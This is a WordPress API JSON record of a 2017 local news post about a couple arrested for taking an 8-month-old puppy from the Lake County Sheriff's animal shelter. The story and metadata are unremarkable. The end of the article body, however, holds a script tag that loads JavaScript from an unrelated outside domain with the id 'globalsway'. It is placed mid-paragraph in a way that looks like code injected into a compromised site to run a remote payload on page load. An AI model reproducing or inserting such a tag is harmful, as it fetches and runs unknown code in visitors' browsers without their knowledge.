{"id":211477,"date":"2017-01-06T21:57:53","date_gmt":"2017-01-07T02:57:53","guid":{"rendered":"https:\/\/wordpress-1.tempurl.host\/?p=211477"},"modified":"2018-01-23T16:03:15","modified_gmt":"2018-01-23T21:03:15","slug":"dognappers-arrested-stealing-puppy-animal-shelter","status":"publish","type":"post","link":"https:\/\/thegraphicgeek.com\/demo-cflwire\/dognappers-arrested-stealing-puppy-animal-shelter\/","title":{"rendered":"Dognappers Arrested After Stealing Puppy from Animal Shelter"},"content":{"rendered":"<p><strong>TAVARES &#8211; <\/strong>A couple found themselves behind bars Friday evening after stealing an 8-month-old puppy from the Lake County Sheriff&#8217;s Animal Shelter Thursday afternoon according to deputies.<\/p>\n<p>Justin Geoffrey Kates, 28, and Michelle Ashley Barbee, 29, were caught on video surveillance at the animal shelter as they walked out with the puppy.<\/p>\n<p>According to officials at the shelter, the puppy, Kendrick, was in a restricted area that is normally behind a locked door recuperating after being neutered. His adopted family was scheduled to pick him up later that day.<\/p>\n<p>It is unclear as to why the couple stole the puppy or how they gained access to the restricted room.<\/p>\n<p>After posting the incident on their Facebook fan page, deputies received numerous tips that led to Kates and Barbee.<\/p>\n<p><iframe loading=\"lazy\" style=\"border: none; overflow: hidden;\" src=\"https:\/\/www.facebook.com\/plugins\/post.php?href=https%3A%2F%2Fwww.facebook.com%2FLCSOAnimalServices%2Fposts%2F1815567088715178&amp;width=500\" width=\"500\" height=\"759\" frameborder=\"0\" scrolling=\"no\"><\/iframe><\/p>\n<p>When deputies arrived at their home in Eustis, they were able to recover Kendrick.<\/p>\n<p>Kates and Barbee were both arrested. Kates was charged with burglary to an occupied dwelling and retail theft. He remains at the Lake County Jail in lieu of a $15,000 bond.<\/p>\n<p>Barbee was charged with retail theft and remains in the Lake County Jail in liue of a $500 bond.<script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>TAVARES &#8211; A couple found themselves behind bars Friday evening after stealing an 8-month-old puppy from the Lake County Sheriff&#8217;s Animal Shelter Thursday afternoon according&#8230;<\/p>\n","protected":false},"author":1,"featured_media":211478,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"wds_primary_category":0,"footnotes":""},"categories":[3244,6,1],"tags":[],"class_list":["post-211477","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-arrests","category-lake-county","category-local","entry","rows"],"jetpack_featured_media_url":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-content\/uploads\/sites\/6\/2017\/01\/stolen-puppy.jpg","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/211477","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/comments?post=211477"}],"version-history":[{"count":0,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/211477\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media\/211478"}],"wp:attachment":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media?parent=211477"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/categories?post=211477"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/tags?post=211477"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}